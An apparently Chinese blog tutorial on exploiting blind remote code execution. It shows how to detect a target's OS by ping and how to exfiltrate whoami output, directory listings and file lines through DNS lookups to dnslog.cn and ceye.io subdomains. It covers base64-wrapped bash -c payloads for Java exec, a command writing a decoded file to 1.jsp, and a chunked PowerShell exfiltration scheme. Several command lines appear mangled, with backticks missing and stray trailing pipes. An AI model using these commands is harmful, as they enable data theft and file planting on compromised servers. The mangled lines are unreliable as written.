判断linux还是windows
1.先测试ping.exe test.ob3.ceye.io 是否接收到dnslog解析,如果可以则说明是windows
2.再测试ping -c 1 test.ob3.ceye.io,如果可以执行说明是linux。
需要注意的是,windows执行 ping -c 1 也是可以成功的,但需要超管权限,所以要先测试第一条命令,第一条命令只有windows可以执行成功的,如果执行不成功那可以反向证明可能是linux,如果第二条也成功就可证明,同时我们也可以用下面介绍的命令再次测试。如果都不成功,那就两种情况,要嘛不出网,要嘛RCE的payload不对,比如shiro需要。
linux:
可以巧用反撇来执行命令,但需要注意几点,域名不能用特殊符号,比如\+=之类的,java的exec会过滤反撇
等特殊符号,最好也编码
以下命令将结果通过base64编码,并去掉=号(awk后面建议用单引号,awk作用是分割,默认是空格,这里使用使用=分割,然后取第一个)
ping -c 1 whoami | base64|base64 | awk -F "=" '{print $1.".xdz7qb.dnslog.cn"}' |
或者使用sed进行字符串替换如下
ping -c 1 whoami | base64 |base64|sed -e 's/=//g' .xdz7qb.dnslog.cn |
上面命令再进行bash编码后如下,需要注意的是,这个是通过java的exec执行的
bash -c {echo,cGluZyAtYyAxIGB3aG9hbWkgfCBiYXNlNjQgfCBhd2sgLUYgIj0iICd7cHJpbnQgJDEuIi54ZHo3cWIuZG5zbG9nLmNuIn0nYA==}|{base64,-d}|{bash,-i} |
正常在命令行执行需要加引号的
bash -c "{echo,cGluZyB3d3cuYmFpZHUuY29t}|{base64,-d}|{bash,-i}" |
写文件,也记得要base64编码这个命令
echo $base64str | base64 -d > 1.jsp |
按行读取,当然记得bash编码(sed后面'2,2p'就是只读第2行的,'2,3p'可以读取第2,3行)
ping -c 1 ls|sed -n '2,2p' | base64 | awk -F "=" '{print $1.".rtob3j.ceye.io"}' |
bash -c {echo,cGluZyAtYyAxIGBsc3xzZWQgLW4gJzIsMnAnIHwgYmFzZTY0IHwgYXdrIC1GICI9IiAne3ByaW50ICQxLiIucnRvYjNqLmNleWUuaW8ifSdgCgp4YXJncw==}|{base64,-d}|{bash,-i} |
只查看目录
ping -c 1 ls -F /app/apache-tomcat-8.5.42/ | grep '/$'|sed -n '4,6p' | base64 | awk -F "=" '{print $1.".rtob3j.ceye.io"}' |
查看当前目录下有几个目录
ping -c 1 ls -F /app/apache-tomcat-8.5.42/webapps/ | grep '/$' |wc -l |sed -n '1,2p' | base64 | awk -F "=" '{print $1.".rtob3j.ceye.io"}' |
windows
获取用户名,这里使用的环境变量,如果结果没有特殊字符才没问题,其他的就比较麻烦了。
windows需要结合powershell进行利用,暂时没有想到其他好方法,大家有的可以推荐下。 为此我做了三个脚本,分别是powershell/perl/python的dnslog利用。 powershell就是windows上使用的,perl/python主要是在linux上会安装,后续再考虑搞个bash和其他的吧。
下面简单说下powershell脚本的原理,其他的大同小异。 将命令执行结果,使用unicode-base64编码(powershell编解码是基于unicode,和python/perl不一样),然后替换特殊字符如+/,我用-_替代,因为+/字符不能出现在域名里,然后按每63字节分割base64字符串,然后构造好dnslog域名分段用ping命令或者域名解析函数传出去解析。这里分段是因为在域名里每段子域名最长为63字节,即点和点之间的域名长度最大为63。 脚本只需要修改两个地方,dir换成需要执行的命令,$domain输入自己设置的dnslog域名。 tips:上面使用dir>1.txt,为什么这样,是因为不重定向到文件,命令执行结果直接传给变量没有当前目录信息,大家可以自己试试就知道了。
dnslog域名结构如下
$randstr: 6位随机字符串,用来标识本次命令执行,与其他命令执行结果的dnslog做区别。 $os: 2位,用来标识当前系统和执行结果base64编码次数,只是做个小tips,没有也没关系,w1标识windows 1次base64编码,l2标识linux 2次base64编码。 $count: 当前传输字符串编号,因为后面需要将分段传输结果进行拼接,该位就是拼接顺序,防止乱序。 $base64str: 小于63字节的分段传输的base64字符串。 $domain:dnslog域名 最后还会再发送一个包含stop的dnslog域名来标识本次命令结果传输完毕。
例: 某一段:ASZVmN.w1.11.CAAIAAgACAAIAAgACAAIAAgACAAZAAtAC0ALQAtAC0AIAAgACAAIAAgACAAIAAg.test.xxx.dnslog.cn 停止标识:ASZVmNstop.w1.99.stop.test.xxx.dnslog.cn
传回的结果会需要去重解码,这个我在案例里一起说明下吧。 |